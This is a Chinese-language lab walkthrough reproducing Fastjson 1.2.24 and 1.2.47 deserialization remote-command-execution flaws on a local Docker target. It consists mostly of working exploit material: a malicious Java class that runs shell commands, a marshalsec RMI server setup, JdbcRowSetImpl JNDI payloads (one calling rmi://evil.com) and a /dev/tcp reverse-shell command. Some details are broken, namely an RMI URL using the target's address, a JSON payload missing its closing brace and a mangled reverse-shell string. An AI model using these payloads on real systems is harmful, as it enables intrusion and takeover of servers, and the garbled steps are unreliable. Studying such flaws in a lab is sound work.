前言
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
漏洞环境
靶 场:192.168.4.10_ubuntu
攻击机:192.168.4.29_kali
一、 fastjson 1.2.24 反序列化导致任意命令执行漏洞
漏洞详细
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
环境搭建
#docker-compose up -d
环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。
我们向这个地址POST一个JSON对象,即可更新服务端的信息:
```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```
可见服务端更新数据
制造POST数据包,dnslog测试
POST / HTTP/1.1
Host: 192.168.4.10:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 68
{"zeo":{"@type":"java.net.Inet4Address","val":"4tkywj.dnslog.cn"}}
漏洞复现
1.上传文件测试
1.1 编译恶意类exploit.jar,得到exploit.class,将两个文件放到VPS上同一个文件夹下
‘’’
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /tmp/success666"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
‘’’
1.2 在VPS上搭建http服务,就在fastjson文件下python3 -m http.server 11111
1.3 搭建RMI服务,使用 marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.4.29:11111/#Exploit" 9999
1.4 提交payload(500则成功)
请求:
POST / HTTP/1.1
Host: 192.168.4.10:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Content-Type: application/json
Content-Length: 139
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.4.10:9999/Exploit",
"autoCommit":true
}
响应:
HTTP/1.1 500
Content-Type: application/json
Content-Length: 137
Date: Tue, 25 Jan 2022 03:13:49 GMT
Connection: close
{
"timestamp":1643080429838,
"status":500,
"error":"Internal Server Error",
"message":"set property error, autoCommit",
"path":"/"
}
成功收到
可见,命令`touch /tmp/success666`已成功执行:
2. 同理可制造反弹shell("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.4.10/19111 0>&1");
二、 Fastjson 1.2.47 远程命令执行漏洞
漏洞详情
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
环境搭建
#docker-compose up -d
环境启动后,访问`http://your-ip:8090`即可看到一个json对象被返回,我们将content-type修改为`application/json`后可向其POST新的JSON对象,后端会利用fastjson进行解析。
漏洞复现
同上,最后提交更改payload
```
向靶场服务器发送Payload:
```
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
```
可见,命令`touch /tmp/success666`已成功执行: